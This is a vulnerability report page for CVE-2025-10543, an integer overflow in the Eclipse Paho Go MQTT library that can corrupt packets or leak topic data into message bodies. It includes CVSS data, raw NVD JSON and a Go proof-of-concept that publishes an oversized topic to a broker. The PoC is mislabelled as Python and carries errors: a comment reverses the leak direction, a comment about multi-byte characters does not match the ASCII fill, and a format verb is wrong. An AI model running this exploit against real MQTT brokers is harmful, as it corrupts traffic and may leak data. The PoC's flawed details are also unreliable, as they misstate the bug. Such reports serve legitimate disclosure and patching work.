Security Vulnerability Report
中文
CVE-2025-10543 CVSS 5.3 MEDIUM

CVE-2025-10543

Published: 2025-12-02 09:15:46
Last Modified: 2026-01-16 21:22:25

Description

In Eclipse Paho Go MQTT v3.1 library (paho.mqtt.golang) versions <=1.5.0 UTF-8 encoded strings, passed into the library, may be incorrectly encoded if their length exceeds 65535 bytes. This may lead to unexpected content in packets sent to the server (for example, part of an MQTT topic may leak into the message body in a PUBLISH packet). The issue arises because the length of the data passed in was converted from an int64/int32 (depending upon CPU) to an int16 without checks for overflows. The int16 length was then written, followed by the data (e.g. topic). This meant that when the data (e.g. topic) was over 65535 bytes then the amount of data written exceeds what the length field indicates. This could lead to a corrupt packet, or mean that the excess data leaks into another field (e.g. topic leaks into message body).

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:eclipse:paho_mqtt:*:*:*:*:*:go:*:* - VULNERABLE
Eclipse Paho Go MQTT (paho.mqtt.golang) <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" MQTT "github.com/eclipse/paho.mqtt.golang" "time" ) // CVE-2025-10543 PoC: Trigger integer overflow with oversized UTF-8 string // This PoC demonstrates sending an MQTT PUBLISH packet with a topic exceeding 65535 bytes // to trigger the int16 overflow in length field encoding func main() { opts := MQTT.NewClientOptions() opts.AddBroker("tcp://target:1883") opts.SetClientID("poc-client") client := MQTT.NewClient(opts) if token := client.Connect(); token.Wait() && token.Error() != nil { panic(token.Error()) } // Create a topic string exceeding 65535 bytes (65536+ bytes) // This triggers int16 overflow when encoding the length field oversizedTopic := generateOversizedUTF8String(65536) // Message content that will leak into the topic field due to overflow messageBody := "SENSITIVE_DATA_LEAK" // Publish with oversized topic - will cause data corruption token = client.Publish(oversizedTopic, 0, false, messageBody) token.Wait() fmt.Printf("Published message with oversized topic (%d bytes)\n", len(oversizedTopic)) client.Disconnect(250) } // Generate UTF-8 string exceeding 65535 bytes func generateOversizedUTF8String(size int) string { // Use multi-byte UTF-8 characters to reach target size efficiently result := make([]byte, size) for i := range result { result[i] = 'A' // Single byte ASCII, easy to control size } return string(result) } // Alternative: Direct packet manipulation to demonstrate the overflow func demonstrateOverflow() { // int64 length value length := int64(70000) // Simulate unsafe conversion to int16 (what the vulnerable code does) // In Go: int16(length) truncates the high bits truncatedLength := int16(length) fmt.Printf("Original length: %d (0x%x)\n", length, length) fmt.Printf("Truncated length (int16): %d (0x%x)\n", truncatedLength, uint16(truncatedLength)) fmt.Printf("Overflow occurred: %s\n", length > 65535 && truncatedLength != int16(length)) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10543", "sourceIdentifier": "[email protected]", "published": "2025-12-02T09:15:46.127", "lastModified": "2026-01-16T21:22:24.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse Paho Go MQTT v3.1 library (paho.mqtt.golang) versions <=1.5.0 UTF-8 encoded strings, passed into the library, may be incorrectly encoded if their length exceeds 65535 bytes. This may lead to unexpected content in packets sent to the server (for example, part of an MQTT topic may leak into the message body in a PUBLISH packet).\n\n\nThe issue arises because the length of the data passed in was converted from an int64/int32 (depending upon CPU) to an int16 without checks for overflows. The int16 length was then written, followed by the data (e.g. topic). This meant that when the data (e.g. topic) was over 65535 bytes then the amount of data written exceeds what the length field indicates. This could lead to a corrupt packet, or mean that the excess data leaks into another field (e.g. topic leaks into message body)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-197"}, {"lang": "en", "value": "CWE-681"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:paho_mqtt:*:*:*:*:*:go:*:*", "versionEndIncluding": "1.5.0", "matchCriteriaId": "7EF727B3-5150-4C1A-8C5B-35B244E78E71"}]}]}], "references": [{"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/254", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}